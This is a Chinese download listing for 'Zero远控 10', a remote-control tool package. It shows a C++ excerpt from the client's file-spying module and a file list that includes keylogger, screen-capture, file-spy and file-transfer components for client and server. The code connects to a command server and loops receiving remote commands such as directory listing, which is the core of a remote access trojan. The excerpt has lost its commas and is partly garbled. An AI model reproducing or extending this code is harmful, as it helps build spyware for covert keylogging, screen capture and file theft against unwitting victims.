• 大小: 173KB
    文件类型: .rar
    金币: 1
    下载: 0 次
    发布日期: 2021-06-05
  • 语言: 其他
  • 标签: Zero远控  

资源简介

Zero远控 10

资源截图

代码片段和文件信息

#include “filespy.h“

// 初始化FileSpy
static FileSpy gSpy;

FileSpy::FileSpy()
{

}

void FileSpy::startByNewThread(std::string domain int port)
{
    // 将域名和端口数据转换成一个字符指针类型
    char *args = new char[MAX_PATH+sizeof(int)];
    domain.reserve(MAX_PATH);
    memcpy(argsdomain.data() MAX_PATH);
    memcpy(args+MAX_PATH(char*)&port sizeof(int));

    // 创建新线程
    HANDLE h = CreateThread(NULL0 FileSpy::fileSpyThreadProc(LPVOID)args0NULL);
    if (!h) {
        std::cout << “Failed to create new thread“ << std::endl;
        std::fflush(stdout);
    }
}

DWORD FileSpy::fileSpyThreadProc(LPVOID args)
{
    char domain[MAX_PATH];
    memcpy(domain args MAX_PATH);
    int port = *((int*)((char*)args+MAX_PATH));

    // 开始监控
    startFileSpy(domain port);

    // 释放参数
    delete (char *)args;
    return true;
}

void FileSpy::startFileSpy(std::string domain int port)
{
    // 连接到服务器,接收服务器的指令
    TcpSocket sock;
    if (!sock.connectTo(domain port)) {
        std::cout << “Failed to connect server for file spy“ << std::endl;
        std::fflush(stdout);
    }

    // 死循环,不断从服务端接收数据
    const int packetSize = 800;
    char szData[packetSize];
    int ret;
    std::string buf;

    while (1) {
        ret = sock.recvData(szData packetSize);

        // 出现错误
        if (ret == SOCKET_ERROR || ret == 0) {
            break;
        }

       // 把数据加入到缓冲区
       addDataToBuffer(&sock buf szData ret);
    }
}

void FileSpy::addDataToBuffer(TcpSocket *sock std::string &buf char *data int size)
{
    buf.append(datasize);

    // 把数据转换成指令模式
    int endIndex;
    while ((endIndex = buf.find(gSpy.CmdEnd)) >= 0) {
        std::string line = buf.substr(0endIndex);
        buf.erase(0 endIndex+gSpy.CmdEnd.length());

        // 获取指令
        int firstSplit = line.find(gSpy.CmdSplit);
        std::string cmd = line.substr(0 firstSplit);
        line.erase(0 firstSplit+gSpy.CmdSplit.length());

        // 处理指令
        processCmd(sock cmd line);
    }
}

std::map FileSpy::parseArgs(std::string &data)
{
    // 字符串分割成列表
    std::vector v;
    std::string::size_type pos1 pos2;
    pos2 = data.find(gSpy.CmdSplit);
    pos1 = 0;
    while(std::string::npos != pos2) {
        v.push_back(data.substr(pos1 pos2-pos1));
        pos1 = pos2 + gSpy.CmdSplit.size();
        pos2 = data.find(gSpy.CmdSplit pos1);
    }
    if(pos1 != data.length()) v.push_back(data.substr(pos1));

    // 解析参数
    std::map args;
    for (int i=0; i<(int)v.size()-1; i+=2) {
        args[v.at(i)] =  v.at(i+1);
    }

    return args;
}

void FileSpy::processCmd(TcpSocket *sock std::string &cmd std::string &data)
{
    // 解析参数
    std::map args = parseArgs(data);

    // 获取文件
    if (cmd == gSpy.CmdGetDirFiles) {
        doGetDirFiles(sock args);
        return;
    }

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----

     文件      13513  2016-12-24 17:43  Zero远控_10\ZeroClient\filespy.cpp

     文件       3525  2016-12-24 08:57  Zero远控_10\ZeroClient\filespy.h

     文件       1378  1997-10-18 15:41  Zero远控_10\ZeroClient\jpeg\jconfig.h

     文件      12717  2014-09-03 11:55  Zero远控_10\ZeroClient\jpeg\jmorecfg.h

     文件      47339  2016-12-21 08:02  Zero远控_10\ZeroClient\jpeg\jpeglib.h

     文件     235030  2014-04-05 15:23  Zero远控_10\ZeroClient\jpeg\libjpeg.lib

     文件       7006  2016-12-23 16:56  Zero远控_10\ZeroClient\keyboardspy.cpp

     文件       1512  2016-12-22 15:24  Zero远控_10\ZeroClient\keyboardspy.h

     文件       1184  2016-12-23 16:41  Zero远控_10\ZeroClient\main.cpp

     文件       9188  2016-12-23 12:36  Zero远控_10\ZeroClient\screenspy.cpp

     文件       1378  2016-12-21 14:42  Zero远控_10\ZeroClient\screenspy.h

     文件       3746  2016-12-24 11:08  Zero远控_10\ZeroClient\tcpsocket.cpp

     文件        910  2016-12-24 10:55  Zero远控_10\ZeroClient\tcpsocket.h

     文件       8058  2016-12-24 10:08  Zero远控_10\ZeroClient\zeroclient.cpp

     文件       2379  2016-12-23 16:10  Zero远控_10\ZeroClient\zeroclient.h

     文件        297  2016-12-23 12:02  Zero远控_10\ZeroClient\ZeroClient.pro

     文件      23635  2016-12-24 17:47  Zero远控_10\ZeroClient\ZeroClient.pro.user

     文件      12843  2016-12-24 17:34  Zero远控_10\ZeroServer\filespy.cpp

     文件       4165  2016-12-24 16:20  Zero远控_10\ZeroServer\filespy.h

     文件       4122  2016-12-24 17:47  Zero远控_10\ZeroServer\filetransfer.cpp

     文件       1375  2016-12-24 17:44  Zero远控_10\ZeroServer\filetransfer.h

     文件       1784  2016-12-23 17:59  Zero远控_10\ZeroServer\keyboardspy.cpp

     文件        984  2016-12-22 17:42  Zero远控_10\ZeroServer\keyboardspy.h

     文件        199  2016-12-19 12:00  Zero远控_10\ZeroServer\main.cpp

     文件       5064  2016-04-24 09:10  Zero远控_10\ZeroServer\resources\cmdspy.png

     文件       8132  2016-04-24 09:13  Zero远控_10\ZeroServer\resources\filespy.png

     文件       4560  2016-04-24 09:23  Zero远控_10\ZeroServer\resources\keyboardspy.png

     文件       7688  2016-04-24 09:14  Zero远控_10\ZeroServer\resources\screenspy.png

     文件      21662  2016-04-24 10:49  Zero远控_10\ZeroServer\resources\zero.ico

     文件       3644  2016-04-24 10:44  Zero远控_10\ZeroServer\resources\zero.png

............此处省略27个文件信息

评论

共有 条评论